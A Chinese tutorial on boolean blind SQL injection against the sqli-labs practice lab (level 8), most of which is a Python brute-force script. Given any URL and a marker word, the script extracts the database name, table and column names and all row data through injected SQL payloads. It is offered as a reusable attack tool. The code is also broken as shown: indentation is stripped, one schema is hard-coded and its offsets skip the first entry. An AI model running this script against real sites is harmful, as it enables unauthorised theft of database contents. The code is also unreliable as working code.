写这个脚本的原因是因为布尔爆破步骤的繁琐,因此写下这个半自动化脚本来提升效率,只需输入url和标志词便可开始爆破
下面结合sqli-libs第八关来详细说明:
这一关是布尔盲注,布尔盲注用于页面没有回显的情况下,但是心细的同学会发现当我们注入的sql语句正确的时候页面会显示,当出现错误的时候页面是完全不显示的,这个时候也就是出现了两种不同的情况,我们便可以通过这两种情况去猜数据,因此我们也就需要用爆破来解决问题了,本文通过python脚本的方式来爆破,脚本源码放在文章末尾。当然也可以用sqlmap,burpsuite来爆破都是可以的,但是我们不能仅仅依赖别人写好的脚本,还是得自己研究一下布尔盲注的原理的。
- 老规矩,第一步先判断数据类型
- and 1=1 和 and1=2来判断
- 我们发现都是正常的,于是可以判断是字符型注入了
- 下一步开始判断闭合方式,输入单引号和双引号
- 最后判断为单引号闭合,具体判断方法参考往期
- 下一步判断查询列数
- 依旧是3列
- 下一步,判断回显位
- 反常的很,我们发现数据并没有回显,这个时候我们就要想起来盲注了
- 我们输个错误的sql语句试一下看看是不是用布尔盲注可以实现
- 我们发现页面完全没有显示了,说明布尔注入可以一试
- 下一步,我们上脚本来爆破
#布尔盲注脚本
#为了更加方便的进行布尔盲注,而且省略大部分重复且繁琐的步骤,故写下此脚本
#作者:@hengheng
import requests
base_url=input('请输入url地址(输入的时候自己加上闭合方式):')
flag_text=input('请输入可判断的标志词:')
'''
爆破思路
1.爆破数据库名的长度
2.爆破数据库名
3.爆破该数据库名下的表的个数
4.爆破该数据库下每张表的长度
5.爆破数据库下每张表的名称
6.爆破某张表下的列的个数
7.爆破某张表下的每个字段的长度
8.爆破每张表下的每个字段的名称
9.爆破每个字段下的每条信息
'''
#全局变量
database_length=0
database_name=''
table_counts=0
table_length=0
table_name=''
column_counts=0
column_length=0
column_name=''
information_counts=0
information_length=0
information_name=''
#获取数据库长度
for i in range(1,50):
payload = f' and length(database())={i} --+'
new_url=base_url+payload
if flag_text in requests.get(new_url).text:
database_length=i
break
#获取数据库名称
for i in range(1,database_length+1):
for m in range(65,123):
payload=f' and substr(database(),{i},1)=%27{chr(m)}%27 --+'
new_url=base_url+payload
if flag_text in requests.get(new_url).text:
database_name=database_name+chr(m)
break
#获取数据库下的表的数量
for i in range(1,100):
payload = f' and (select count(table_name) from information_schema.tables where table_schema=%27security%27)= {i} --+'
new_url=base_url+payload
if flag_text in requests.get(new_url).text:
table_counts=i
break
# 获取所有的表的长度和名称
for i in range(1,table_counts+1):
table_name=''
for m in range(1,50):
payload=f' and length((select table_name from information_schema.tables where table_schema=%27security%27 limit {i},1))={m} --+'
new_url=base_url+payload
if flag_text in requests.get(new_url).text:
table_length=m
break
for m in range(1,table_length+1):
for n in range(65,123):
payload=f' and substr((select table_name from information_schema.tables where table_schema=%27security%27 limit {i},1),{m},1)=%27{chr(n)}%27 --+'
new_url=base_url+payload
if flag_text in requests.get(new_url).text:
table_name=table_name+chr(n)
break
print(f'表{i}的名称为:'+table_name.lower())
#在这里知道表名了,直接获取获取表下面的列的数量,长度,以及名称
for a in range(1,100):
payload=f' and (select count(column_name) from information_schema.columns where table_name=%27{table_name.lower()}%27 and table_schema=%27security%27)={a} --+'
new_url=base_url+payload
if flag_text in requests.get(new_url).text:
column_counts=a
break
#获取各个列的长度以及名称
for b in range(1,column_counts+1):
column_name=''
for c in range(1,50):
payload = f' and length((select column_name from information_schema.columns where table_name=%27{table_name.lower()}%27 and table_schema=%27security%27 limit {b},1))={c} --+'
new_url = base_url + payload
if flag_text in requests.get(new_url).text:
column_length = c
break
#知道了列的长度然后获取名称
for m in range(1, column_length + 1):
for n in range(65, 123):
payload = f' and substr((select column_name from information_schema.columns where table_name=%27{table_name.lower()}%27 and table_schema=%27security%27 limit {b},1),{m},1)=%27{chr(n)}%27 --+'
new_url = base_url + payload
if flag_text in requests.get(new_url).text:
column_name = column_name + chr(n)
break
#此时知道了当前列名
print(f'列{b}的名称为:'+column_name.lower())
# 在这里知道列名了,直接获取获取列下面的数据的数量,长度,以及名称
for x in range(0, 100):
payload = f' and (select count({column_name.lower()}) from {table_name.lower()})={x} --+'
new_url = base_url + payload
if flag_text in requests.get(new_url).text:
information_counts = x
break
# 获取各个数据的长度以及名称
for y in range(1, information_counts + 1):
information_name = ''
for z in range(1, 50):
payload = f' and length((select {column_name.lower()} from {table_name.lower()} limit {y},1))={z} --+'
new_url = base_url + payload
if flag_text in requests.get(new_url).text:
information_length = z
break
# 知道了列的长度然后获取名称
for j in range(1, information_length + 1):
for k in range(65, 123):
payload = f' and substr((select {column_name.lower()} from {table_name.lower()} limit {y},1),{j},1)=%27{chr(k)}%27 --+'
new_url = base_url + payload
if flag_text in requests.get(new_url).text:
information_name = information_name + chr(k)
break
# 此时知道了当前列名
print(f'数据{y}的名称为:' + information_name.lower())
print('数据库名称为: '+database_name)
print('该数据库下表的个数:'+str(table_counts))
- 最终得到所有数据